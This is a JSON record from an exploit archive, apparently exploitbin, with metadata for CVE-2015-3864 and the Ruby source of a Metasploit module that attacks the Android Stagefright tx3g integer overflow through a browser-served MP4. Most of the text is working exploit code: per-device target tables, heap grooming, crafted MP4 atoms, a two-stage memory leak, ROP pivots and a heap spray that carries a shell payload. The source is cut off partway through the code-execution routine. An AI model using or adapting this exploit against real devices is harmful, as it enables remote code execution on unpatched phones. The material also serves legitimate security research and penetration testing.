{"exploit":{"id":"EDB-40436","name":"Google Android 5.0 < 5.1.1 - 'Stagefright' '.MP4' tx3g Integer Overflow (Metasploit)","description":"Google Android 5.0 < 5.1.1 - 'Stagefright' '.MP4' tx3g Integer Overflow (Metasploit)","cves":["CVE-2015-3864"],"author":"Metasploit","published":"2016-09-27","platform":"android","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40436","path":"exploits/android/remote/40436.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40436.rb","vulnerabilities":[{"id":"CVE-2015-3864","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer underflow in the MPEG4Extractor::parseChunk function in MPEG4Extractor.cpp in libstagefright in mediaserver in Android before 5.1.1 LMY48M allows remote attackers to execute arbitrary code via crafted MPEG-4 data, aka internal bug 23034759. NOTE: this vulnerability exists because of an incomplete fix for CVE-2015-3824.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3864","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-3864"},"updatedAt":"2024-08-06T05:56:15.946Z","retrievedAt":"2026-11-26T22:15:57.227Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40436.png?v=2","url":"https://exploitbin.com/exploits/EDB-40436","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40436/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40436/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n  include Msf::Exploit::RopDb\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'           => \"Android Stagefright MP4 tx3g Integer Overflow\",\n      'Description'    => %q{\n          This module exploits a integer overflow vulnerability in the Stagefright\n        Library (libstagefright.so). The vulnerability occurs when parsing specially\n        crafted MP4 files. While a wide variety of remote attack vectors exist, this\n        particular exploit is designed to work within an HTML5 compliant browser.\n\n          Exploitation is done by supplying a specially crafted MP4 file with two\n        tx3g atoms that, when their sizes are summed, cause an integer overflow when\n        processing the second atom. As a result, a temporary buffer is allocated\n        with insufficient size and a memcpy call leads to a heap overflow.\n\n          This version of the exploit uses a two-stage information leak based on\n        corrupting the MetaData that the browser reads from mediaserver. This method\n        is based on a technique published in NorthBit's Metaphor paper. First,\n        we use a variant of their technique to read the address of a heap buffer\n        located adjacent to a SampleIterator object as the video HTML element's\n        videoHeight. Next, we read the vtable pointer from an empty Vector within\n        the SampleIterator object using the video element's duration. This gives\n        us a code address that we can use to determine the base address of\n        libstagefright and construct a ROP chain dynamically.\n\n        NOTE: the mediaserver process on many Android devices (Nexus, for example) is\n        constrained by SELinux and thus cannot use the execve system call. To avoid\n        this problem, the original exploit uses a kernel exploit payload that disables\n        SELinux and spawns a shell as root. Work is underway to make the framework\n        more amenable to these types of situations. Until that work is complete, this\n        exploit will only yield a shell on devices without SELinux or with SELinux in\n        permissive mode.\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          # Exodus/jordan # initial discovery / disclosure\n          'jduck',     # Metasploit module, further infoleak development\n          'NorthBit'   # intiial information leak implementation\n        ],\n      'References'     =>\n        [\n          [ 'CVE', '2015-3864' ],\n          [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],\n          [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],\n          [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],\n          [ 'URL', 'https://github.com/NorthBit/Metaphor' ],\n          # Not used, but related\n          [ 'URL', 'http://drops.wooyun.org/papers/7558' ],\n          [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],\n          [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],\n        ],\n      'Payload'        =>\n        {\n          'Space'    => 2048,\n          'DisableNops' => true,\n        },\n      #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' },\n      'Platform'       => 'linux',\n      'Arch'           => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],\n      'Targets'        =>\n        [\n          [ 'Automatic', {} ],\n          #\n          # Each target includes information about the device, firmware, and\n          # how exactly to about exploiting it.\n          #\n          # Primarily, these targets are used to map a browser's User-Agent to\n          # exploit specifics for that device / build.\n          #\n          [\n            'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LRX21P',\n              'Release' => '5.0',\n              'Rop' => 'lrx',\n              'SprayAddress' => 0xb1508000\n            }\n          ],\n          [\n            'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LRX22C',\n              'Release' => '5.0.1',\n              'Rop' => 'lrx'\n            }\n          ],\n          [\n            'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LRX22G',\n              'Release' => '5.0.2',\n              'Rop' => 'lrx'\n            }\n          ],\n          [\n            'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LMY47O',\n              'Release' => '5.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LMY47V',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LMY48G',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LMY48I',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-2'\n            }\n          ],\n          [\n            'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LRX22G',\n              'Release' => '5.0.2',\n              'Rop' => 'lrx'\n            }\n          ],\n          [\n            'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LMY47O',\n              'Release' => '5.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',\n            {\n              'Model' => 'Nexus 7',\n              'Build' => 'LMY47V',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',\n            {\n              'Model' => 'Nexus 5',\n              'Build' => 'LRX21O',\n              'Release' => '5.0',\n              'Rop' => 'lrx'\n            }\n          ],\n          [\n            'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',\n            {\n              'Model' => 'Nexus 5',\n              'Build' => 'LRX22C',\n              'Release' => '5.0.1',\n              'Rop' => 'lrx'\n            }\n          ],\n          [\n            'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',\n            {\n              'Model' => 'Nexus 5',\n              'Build' => 'LMY47D',\n              'Release' => '5.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',\n            {\n              'Model' => 'Nexus 5',\n              'Build' => 'LMY47I',\n              'Release' => '5.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',\n            {\n              'Model' => 'Nexus 5',\n              'Build' => 'LMY48B',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',\n            {\n              'Model' => 'Nexus 5',\n              'Build' => 'LMY48I',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-2'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.0 (LRX21O)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LRX21O',\n              'Release' => '5.0',\n              'Rop' => 'lrx'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LRX22C',\n              'Release' => '5.0.1',\n              'Rop' => 'lrx'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1 (LMY47D)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LMY47D',\n              'Release' => '5.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1 (LMY47E)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LMY47E',\n              'Release' => '5.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1 (LMY47I)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LMY47I',\n              'Release' => '5.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LYZ28E',\n              'Release' => '5.1.1',\n              'Rop' => 'shamu / LYZ28E'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1 (LMY47M)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LMY47M',\n              'Release' => '5.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LMY47Z',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LVY48C',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-1'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LMY48I',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-2'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LYZ28J',\n              'Release' => '5.1.1',\n              'Rop' => 'shamu / LYZ28J'\n            }\n          ],\n          [\n            'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',\n            {\n              'Model' => 'Nexus 6',\n              'Build' => 'LVY48E',\n              'Release' => '5.1.1',\n              'Rop' => 'lmy-2'\n            }\n          ],\n          [\n            'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',\n            {\n              'Model' => 'SM-G900V',\n              'Build' => 'LRX21T',\n              'Release' => '5.0',\n              'Rop' => 'sm-g900v / OE1',\n              'SprayAddress' => 0xaf008000,\n              'SampleIteratorSize' => 0xa8,\n              'VectorSize' => 0xec\n            }\n          ]\n        ],\n      'Privileged'     => true,\n      'DisclosureDate' => \"Aug 13 2015\",\n      'DefaultTarget'  => 0))\n\n=begin\n    register_options(\n      [\n        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\n      ], self.class)\n=end\n  end\n\n  def exploit\n    @peers = {}\n    super\n  end\n\n  def get_target(request)\n    agent = request.headers['User-Agent']\n    self.targets.each do |t|\n      next if t.name == 'Automatic'\n      regexp = Regexp.escape(\"Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}\")\n      return t if (agent =~ /#{regexp}/)\n    end\n    return nil\n  end\n\n  #\n  # Construct a page worth of data that we'll spray\n  #\n  # NOTE: The data within is target-specific\n  #\n  def build_spray(my_target, peer, spray_addr)\n    # Initialize the page to a reasonable state.\n    page = ''\n    page = rand_text(4096)\n\n    # Load target-based exploit-specific variables\n    details = get_details(my_target)\n    return nil if details.nil?\n\n    # Calculate the libstagefright.so base address\n    vector_rva = details['VectorRVA']\n    vector_ptr = peer[:vector_vtable_addr]\n    libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)\n\n    # If we smash mDataSource, this ends up controlling the program counter!!\n=begin\n    0xb65fd7c4 <parseChunk(long long*, int)+4596>:      ldr     r2, [r0, #0]\n    0xb65fd7c6 <parseChunk(long long*, int)+4598>:      str     r1, [sp, #0]\n    0xb65fd7c8 <parseChunk(long long*, int)+4600>:      ldr     r5, [r7, #0]\n    0xb65fd7ca <parseChunk(long long*, int)+4602>:      str     r5, [sp, #4]\n    0xb65fd7cc <parseChunk(long long*, int)+4604>:      ldr     r6, [r2, #28]\n    0xb65fd7ce <parseChunk(long long*, int)+4606>:      ldrd    r2, r3, [r10]\n    0xb65fd7d2 <parseChunk(long long*, int)+4610>:      blx     r6\n    0xb65fd7d4 <parseChunk(long long*, int)+4612>:      ldrd    r2, r3, [sp, #64]       ; 0x40\n=end\n\n    # Initialize our pivot values and adjust them to libstagefright's base.\n    # First, load r0 (pointer to our buffer) into some register..\n    mds_pivot1 = libsf_base + details['Pivot1']\n\n    # Next, load sp (and probably other stuff) from there\n    mds_pivot2 = libsf_base + details['Pivot2']\n\n    # Finally, skip over some stuff and kick of the ROP chain\n    mds_adjust = libsf_base + details['Adjust']\n\n    # The offset to the ROP change beginning\n    rop_start_off = 0x30\n\n    # Point sp to the remainder of the ROP chain\n    new_sp = spray_addr + rop_start_off\n\n    # Sometimes the spray isn't aligned perfectly, this fixes that situation...\n    unalign_off = 0x998\n    new_sp2 = new_sp + 0x1000 - unalign_off\n\n    # This pointer should point to the beginning of the shellcode payload\n    payload_ptr = spray_addr + 0xa0\n\n    # Put the stack back!\n    stack_fix = \"\\x0a\\xd0\\xa0\\xe1\"  # mov sp, r10 ; restore original sp\n\n    # Depending on the pivot strategy in use, we have to set things up slightly\n    # differently...\n    #\n    # In each case, we use a two-stage pivot that reads the spray address from\n    # r0 (we smashed that, remember).\n    #\n    # The addroffs array is used to map values to the offsets where the pivots\n    # expect them to be.\n    #\n    case details['PivotStrategy']\n    when 'lrx'\n      addroffs = [\n        [ 0x0, new_sp ],\n        [ 0x10, mds_pivot2 ],\n        [ 0x1c, mds_pivot1 ],\n      ]\n\n      # Since we are only popping one item in pivot2, we reduce the rop_start_off\n      rop_start_off -= 4\n\n      # Adjust the payload pointer\n      payload_ptr -= 4\n\n    when 'lmy-1'\n      addroffs = [\n        [ 0x8, new_sp ],\n        [ 0xc, mds_adjust ],\n        [ 0x10, mds_pivot2 ],\n        [ 0x1c, mds_pivot1 ]\n      ]\n\n    when 'lmy-2'\n      ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18  # adjust for displacement\n      addroffs = [\n        [ 0x0, ptr_to_mds_pivot2 ],\n        [ 0x8, new_sp ],\n        [ 0xc, mds_adjust ],\n        [ 0x10, mds_pivot2 ],\n        [ 0x1c, mds_pivot1 ]\n      ]\n\n      stack_fix = \"\\x09\\xd0\\xa0\\xe1\"  # mov sp, r9 ; restore original sp\n\n    when 'lyz'\n      ptr_to_mds_pivot2 = spray_addr + 0x8\n      addroffs = [\n        [ 0x0, ptr_to_mds_pivot2 ],\n        [ 0x8, mds_pivot2 ],\n        [ 0x1c, mds_pivot1 ],\n        [ 0x24, new_sp ],\n        # lr is at 0x28!\n        [ 0x2c, mds_adjust ]\n      ]\n\n      # We can't fix it becuse we don't know where the original stack is anymore :-/\n      stack_fix = \"\"\n\n    when 'sm-g900v'\n      addroffs = [\n        [ 0x4, mds_adjust ],\n        [ 0x10, new_sp ],\n        [ 0x1c, mds_pivot1 ],\n        [ 0x20, mds_pivot2 ]\n      ]\n\n    else\n      print_error(\"ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!\")\n      return nil\n    end\n\n    # We need our ROP to build the page... Create it.\n    rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })\n\n    # Fix up the payload pointer in the ROP\n    idx = rop.index([ 0xc600613c ].pack('V'))\n    rop[idx, 4] = [ payload_ptr ].pack('V')\n\n    # Insert the ROP\n    page[rop_start_off, rop.length] = rop\n\n    # Insert the special values...\n    addroffs.each do |ao|\n      off,addr = ao\n      page[off,4] = [ addr ].pack('V')\n\n      # Sometimes the spray isn't aligned perfectly...\n      if addr == new_sp\n        page[off+unalign_off,4] = [ new_sp2 ].pack('V')\n      else\n        page[off+unalign_off,4] = [ addr ].pack('V')\n      end\n    end\n\n    page\n  end\n\n  #\n  # MPEG-4 specific functionality\n  #\n  def get_atom(tag, data='', length=nil)\n    if tag.length != 4\n        raise 'Yo! They call it \"FourCC\" for a reason.'\n    end\n\n    length ||= data.length + 8\n    if length >= 2**32\n      return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join\n    end\n    [ [ length ].pack('N'), tag, data ].join\n  end\n\n  def get_stsc(num)\n    stsc_data = [ 0, num ].pack('N*')  # version/flags, mNumSampleToChunkOffsets\n    stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num\n    get_atom('stsc', stsc_data)\n  end\n\n  def get_ftyp\n    # Build the MP4 header...\n    ftyp = 'mp42'\n    ftyp << [ 0 ].pack('N')\n    ftyp << 'mp42'\n    ftyp << 'isom'\n    get_atom('ftyp', ftyp)\n  end\n\n  def get_pssh(alloc_size)\n    pssh_data = ''\n    pssh_data << [ 0 ].pack('N')\n    pssh_data << [ 0, 0, 0, 0 ].pack('N*')\n    pssh_data << [ alloc_size ].pack('N')\n    alloc_size.times do |off|\n      pssh_data << [ 0x55aa0000 + off ] .pack('V')\n    end\n    get_atom('pssh', pssh_data)\n  end\n\n  def get_metaitem(tag, type, data)\n    ret = ''\n    ret << tag.reverse\n    ret << type.reverse\n    case type\n    when 'in32'\n      ret << [ 4, data ].pack('V*')\n    when 'in64'\n      ret << [ 8, data ].pack('V*')\n    else\n      raise \"How do you expect me to make a #{type.inspect} ??\"\n    end\n    ret\n  end\n\n  def jemalloc_round(sz)\n    # These are in the 16-byte aligned runs\n    if (sz > 0x10 && sz <= 0x80)\n      round = 16\n    # 160 starts the 32-byte aligned runs\n    elsif (sz > 0x80 && sz <= 0x140)\n      round = 32\n    else\n      raise \"Don't know how to round 0x%x\" % sz\n    end\n    ret = (sz + (round - 1)) / round\n    ret *= round\n    return ret\n  end\n\n  #\n  # Leak data from mediaserver back to the browser!\n  #\n  # Stage 1 - leak a heap pointer near a SampleIterator object\n  # Stage 2 - read a code pointer from the SampleIterator object\n  #\n  def get_mp4_leak(my_target, peer)\n    # MPEG4 Fileformat Reference:\n    # http://qtra.apple.com/index.html\n    #\n    # Structure:\n    # [File type Chunk][Other Atom Chunks]\n    #\n    # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]\n    #\n    sampiter_alloc_size = 0x78\n    sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?\n    sampiter_rounded = jemalloc_round(sampiter_alloc_size)\n    vector_alloc_size = 0x8c\n    vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?\n    groom_count = 0x10\n\n    is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')\n\n    # Coerce the heap into a favorable shape (fill holes)\n    shape_vector = get_pssh(vector_alloc_size)\n\n    # Allocate a block of memory of the correct size\n    placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))\n\n    # Make the first tx3g chunk, which is meant to overflow into a MetaData array.\n    # We account for the overhead of both chunks here and aim for this layout:\n    #\n    # placeholder after re-allocation                     | vector array data\n    # <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>\n    #\n    # Realistically, tx3g1_padding can be any number that rounds up to the\n    # correct size class.\n    tx3g1_overhead = 0x8\n    tx3g2_overhead = 0x10\n    tx3g_target = jemalloc_round(vector_alloc_size)\n    tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)\n    tx3g_data = 'x' * tx3g1_padding\n    tx3g_1 = get_atom('tx3g', tx3g_data)\n\n    # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)\n    # avcC was in the initial commit.\n    near_sampiter = get_atom('hvcC', \"C\" * sampiter_alloc_size)\n\n    # Craft the data that will overwrite the header and part of the MetaData\n    # array...\n    more_data = ''\n    more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')\n\n    # Now add the thing(s) we want to control (partially)\n    #\n    # We add some BS entries just to kill the real 'heig' and get proper\n    # ordering...\n    near_sampiter_addr = peer[:near_sampiter_addr]\n    if near_sampiter_addr.nil?\n      # Part 1. Leak the address of a chunk that should be adjacent to a\n      # SampleIterator object.\n      if is_samsung\n        # On Samsung:\n        # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt\n        # After:  dmcE, abc1, abc2, abc3, heig...\n        more_data << get_metaitem('dmcE', 'in32', 1)\n        more_data << get_metaitem('abc1', 'in32', 31335)\n        more_data << get_metaitem('abc2', 'in32', 31336)\n      end\n\n      # On Nexus:\n      # Before: heig, hvcc, inpS, mime, text, widt\n      # After:  abc3, heig...\n      more_data << get_metaitem('abc3', 'in32', 31337)\n\n      # NOTE: We only use the first 12 bytes so that we don't overwrite the\n      # pointer that is already there!\n      heig = get_metaitem('heig', 'in32', 31338)\n      more_data << heig[0,12]\n    else\n      # Part 2. Read from the specified address, as with the original Metaphor\n      # exploit.\n      if is_samsung\n        # On Samsung:\n        # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt\n        # After:  dmcE, dura, ...\n        more_data << get_metaitem('dmcE', 'in32', 1)\n      else\n        # On Nexus:\n        # Before: avcc, heig, inpS, mime, text, widt\n        # After:  dura, ...\n        near_sampiter = get_atom('avcC', \"C\" * sampiter_alloc_size)\n      end\n\n      # Try to read the mCurrentChunkSampleSizes vtable ptr within a\n      # SampleIterator object. This only works because the Vector is empty thus\n      # passing the restrictions imposed by the duration conversion.\n      ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30\n      more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)\n    end\n\n    # The tx3g2 then needs to trigger the integer overflow, but can contain any\n    # contents. The overflow will terminate at the end of the file.\n    #\n    # NOTE: The second tx3g chunk's overhead ends up in the slack space between\n    # the replaced placeholder and the MetaData Vector contents.\n    big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size\n    tx3g_2 = get_atom('tx3g', more_data, big_num)\n\n    # Create a minimal, verified 'trak' to satisfy mLastTrack being set\n    stbl_data = get_stsc(1)\n    stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))     # version, mNumChunkOffsets\n    stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))  # version, mDefaultSampleSize, mNumSampleSizes\n    stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))     # version, mTimeToSampleCount\n    stbl = get_atom('stbl', stbl_data)\n    verified_trak = get_atom('trak', stbl)\n\n    # Start putting it all together into a track.\n    trak_data = ''\n\n    if is_samsung\n      # Put some legitimate duration information so we know if we failed\n      mdhd_data = [ 0 ].pack('N')     # version\n      mdhd_data << \"\\x00\" * 8         # padding\n      mdhd_data << [ 1 ].pack('N')    # timescale\n      mdhd_data << [ 314 ].pack('N')  # duration\n      mdhd_data << [ 0 ].pack('n')    # lang\n      trak_data << get_atom('mdhd', mdhd_data)\n    end\n\n    # Add this so that our file is identified as video/mp4\n    mp4v_data = ''\n    mp4v_data << [ 0 ].pack('C') * 24 # padding\n    mp4v_data << [ 1024 ].pack('n')   # width\n    mp4v_data << [ 768 ].pack('n')    # height\n    mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length)  # padding\n    trak_data << get_atom('mp4v', mp4v_data)  # satisfy hasVideo = true\n\n    # Here, we cause allocations such that we can replace the placeholder...\n    if is_samsung\n      trak_data << placeholder   # Somethign we can free\n      trak_data << shape_vector  # Eat the loose block...\n      trak_data << stbl          # Cause the growth of the track->meta Vector\n    else\n      trak_data << stbl          # Cause the growth of the track->meta Vector\n      trak_data << placeholder   # Somethign we can free\n      trak_data << shape_vector  # Eat the loose block...\n    end\n\n    # Add the thing whose entry in the MetaData vector we want to overwrite...\n    trak_data << near_sampiter\n\n    # Get our overflow data into memory\n    trigger = ''\n    trigger << tx3g_1\n\n    # Free the place holder\n    trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))\n\n    # Overflow the temporary buffer into the following MetaData array\n    trigger << tx3g_2\n\n    # !!! NOTE !!!\n    # On Samsung devices, the failure that causes ERR to be returned from\n    # 'tx3g' processing leads to \"skipTrack\" being set. This means our\n    # nasty track and it's metadata get deleted and not returned to the\n    # browser -- effectively killing the infoleak.\n    #\n    # However! It also handles \"skipTrack\" being set specially and does not\n    # immediately propagate the error to the caller. Instead, it returns OK.\n    # This allows us to triggering the bug multiple times in one file, or --\n    # as we have in this case -- survive after and return successfully.\n    if is_samsung\n      # Add this as a nested track!\n      trak_data << get_atom('trak', trigger)\n    else\n      trak_data << trigger\n    end\n    trak = get_atom('trak', trak_data)\n\n    # On Samsung devices, we could put more chunks here but they will\n    # end up smashing the temporary buffer further...\n\n    chunks = []\n    chunks << get_ftyp()\n    chunks << get_atom('moov')\n    chunks << verified_trak * 0x200\n    chunks << shape_vector * groom_count\n    chunks << trak\n\n    mp4 = chunks.join\n    mp4\n  end\n\n  def get_mp4_rce(my_target, peer)\n    # MPEG4 Fileformat Reference:\n    # http://qtra.apple.com/index.html\n    #\n    # Structure:\n    # [File type Chunk][Other Atom Chunks]\n    #\n    # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]\n    #\n    chunks = []\n    chunks << get_ftyp()\n\n    # Note, this causes a few allocations\n    moov_data = ''\n    mvhd_data = [ 0, 0x41414141 ].pack('N*')\n    mvhd_data << 'B' * 0x5c\n    moov_data << get_atom('mvhd', mvhd_data)\n\n    # Add a minimal, verified 'trak' to satisfy mLastTrack being set\n    verified_trak = ''\n    stbl_data = get_stsc(0x28)\n    stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))     # version, mNumChunkOffsets\n    stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))  # version, mDefaultSampleSize, mNumSampleSizes\n    stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))     # version, mTimeToSampleCount\n    verified_trak << get_atom('trak', get_atom('stbl', stbl_data))\n\n    # Add it to the file\n    moov_data << verified_trak\n\n    # The spray_addr field is typically determined empirically (by testing), but\n    # has proven to be fairly predictable (99%). However, it does vary from\n    # one device to the next (probably determined by the pre-loaded libraries).\n    spray_addr = 0xb0c08000\n    spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?\n\n    # Construct a single page that we will spray\n    page = build_spray(my_target, peer, spray_addr)\n    return nil if page.nil?\n\n    # Build a big block full of spray pages and and put it in an avcC chunk\n    # (but don't add it to the 'moov' yet)\n    spray = page * (((16 * 1024 * 1024) / page.length) - 20)\n    avcc = get_atom('avcC', spray)\n\n    # Make the nasty trak\n    tkhd1 = ''\n    tkhd1 << [ 0 ].pack('C')  # version\n    tkhd1 << 'D' * 3          # padding\n    tkhd1 << 'E' * (5*4)      # {c,m}time, id, ??, duration\n    tkhd1 << 'F' * 0x10       # ??\n    tkhd1 << [\n      0x10000,  # a00\n      0,        # a01\n      0,        # dx\n      0,        # a10\n      0x10000,  # a11\n      0         # dy\n    ].pack('N*')\n    tkhd1 << 'G' * 0x14       # ??\n\n    # Add the tkhd (track header) to the nasty track\n    trak1 = ''\n    trak1 << get_atom('tkhd', tkhd1)\n\n    # Build and add the 'mdia' (Media information) to the nasty track\n    mdia1 = ''\n    mdhd1 = [ 0 ].pack('C')  # version\n    mdhd1 << 'D' * 0x17      # padding\n    mdia1 << get_atom('mdhd', mdhd1)\n    mdia1 << get_atom('hdlr', 'F' * 0x38)  # Media handler\n    dinf1 = ''\n    dinf1 << get_atom('dref', 'H' * 0x14)  # Data information box\n    minf1 = ''\n    minf1 << get_atom('smhd', 'G' * 0x08)\n    minf1 << get_atom('dinf', dinf1)\n    stbl1 = get_stsc(2)\n    minf1 << get_atom('stbl', stbl1)\n    mdia1 << get_atom('minf', minf1)\n    trak1 << get_atom('mdia', mdia1)\n\n    # Add something to take up a slot in the 0x20 size range\n    # NOTE: We have to be able to free this later...\n    block = 'Q' * 0x1c\n    trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))\n\n    # Add a Track (hopefully right after)\n    trak1 << verified_trak\n\n    # Add the avcC chunk with the heap spray. We add it here so it's sure to be\n    # allocated when we get control of the program counter...\n    trak1 << avcc\n\n    # Build the first of the nasty pair of tx3g chunks that trigger the\n    # vulnerability\n    alloc_size = 0x20\n    overflow_size = 0xc0\n\n    overflow = [ spray_addr ].pack('V') * (overflow_size / 4)\n    